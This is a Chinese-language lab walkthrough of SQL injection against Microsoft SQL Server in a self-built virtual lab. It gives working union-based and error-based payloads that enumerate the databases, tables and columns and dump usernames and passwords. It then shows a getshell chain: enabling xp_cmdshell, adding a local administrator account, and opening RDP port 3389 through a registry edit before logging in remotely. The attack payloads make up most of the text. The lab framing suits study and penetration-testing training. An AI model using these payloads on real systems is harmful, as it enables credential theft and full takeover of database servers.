SQL server 中的SQL 注入

SQL server 中的sql注入

实验环境:
在windows server 2008虚拟机中安装SQL server 数据库。安装phpstudy ,通过一台Windows7 访问连接windows server 2008.

SQL server 联合注入

首先判断注入点,输入id=1,页面正常回显。
SQL server 中的SQL 注入

首先判断是否是数值型: id=1 and 1=1,页面正常回显
SQL server 中的SQL 注入

id=1 and 1=2,页面空显示,可以判断是数值型。
SQL server 中的SQL 注入

因为有显示位,可以用联合注入进行注入。
首先判断显示位,由此可以看出显示位为3
SQL server 中的SQL 注入
SQL server 中的SQL 注入

查询到当前使用的数据库为test:?id=-1 union select null,null,db_name()
SQL server 中的SQL 注入

查询出第一个数据库名称:
?id=-1 union select null,null,(select top 1 name from sys.sysdatabases)
SQL server 中的SQL 注入

显示第二个数据库名称:
?id=-1 union select null,null,(select top 1 name from sys.sysdatabases where name != ‘master’)
SQL server 中的SQL 注入

查询到第五个数据库为test,当前使用的数据库
?id=-1 union select null,null,(select top 1 name from sys.sysdatabases where name != ‘master’ and name != ‘model’ and name != ‘msdb’ and name != ‘tempdb’)
SQL server 中的SQL 注入

查询出test数据库下的表:
?id=-1 union select null,null,(select top 1 name from sys.sysobjects where xtype=‘u’)
SQL server 中的SQL 注入

查询出表中字段:
?id=-1 union select null,null,(select top 1 name from sys.syscolumns where id=OBJECT_ID(‘users’))
SQL server 中的SQL 注入

第二个字段名:
?id=-1 union select null,null,(select top 1 name from sys.syscolumns where id=OBJECT_ID(‘users’) and name !=‘id’)
SQL server 中的SQL 注入

第三个字段名:
?id=-1 union select null,null,(select top 1 name from sys.syscolumns where id=OBJECT_ID(‘users’) and name !=‘id’ and name != ‘username’)
SQL server 中的SQL 注入

查询出表中数据:
?id=-1 union select null,null,(select top 1 username+’~’+password from test.dbo.users)

SQL server 中的SQL 注入

SQL server 报错注入

输入id=1’ 出现报错信息
SQL server 中的SQL 注入

查询出当前使用的数据库:?id=1 and convert(int,db_name())=1
SQL server 中的SQL 注入

查询出数据库名称:?id=1 and convert(int,(select top 1 name from sys.sysdatabases where name !=‘master’ and name != ‘model’ and name != ‘msdb’ and name != ‘tempdb’))=1
SQL server 中的SQL 注入

查询出test数据库下的users表:?id=1 and convert(int,(select top 1 name from sys.sysobjects where xtype=‘u’))=1
SQL server 中的SQL 注入

查询出当前数据表中字段名:
?id=1 and convert(int,(select top 1 name from sys.syscolumns where id=OBJECT_ID(‘users’)and name != ‘id’))=1
SQL server 中的SQL 注入

查询出表中数据:
?id=1 and convert(int,(select top 1 username+’~’+password from test.dbo.users))=1
SQL server 中的SQL 注入

SQL-Server的扩展存储过程getshell

将SQL server 的内置账户改成local system
SQL server 中的SQL 注入

首先进入到master库中,没有报错说明已经进入到master库中
SQL server 中的SQL 注入

开启高级功能:?id=1 exec sp_configure ‘show advanced options’,1;reconfigure
SQL server 中的SQL 注入

开启xp_cmdshell:?id=1 exec sp_configure ‘xp_cmdshell’,1;reconfigure
SQL server 中的SQL 注入

添加一个张三用户。再到服务器上查看,可以看到zhangsan用户已经添加了
SQL server 中的SQL 注入
SQL server 中的SQL 注入

把zhangsan添加到管理员组。再去服务器上看一下,可以看到zhangsan已经是属于管理员组了

SQL server 中的SQL 注入

SQL server 中的SQL 注入

开启3389端口:?id=1 exec master…xp_cmdshell ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f’
SQL server 中的SQL 注入

服务器上查看,3389端口已打开
SQL server 中的SQL 注入

使用远程桌面连接服务器
登录用户名为zhangsan,密码为123.com,登录成功
SQL server 中的SQL 注入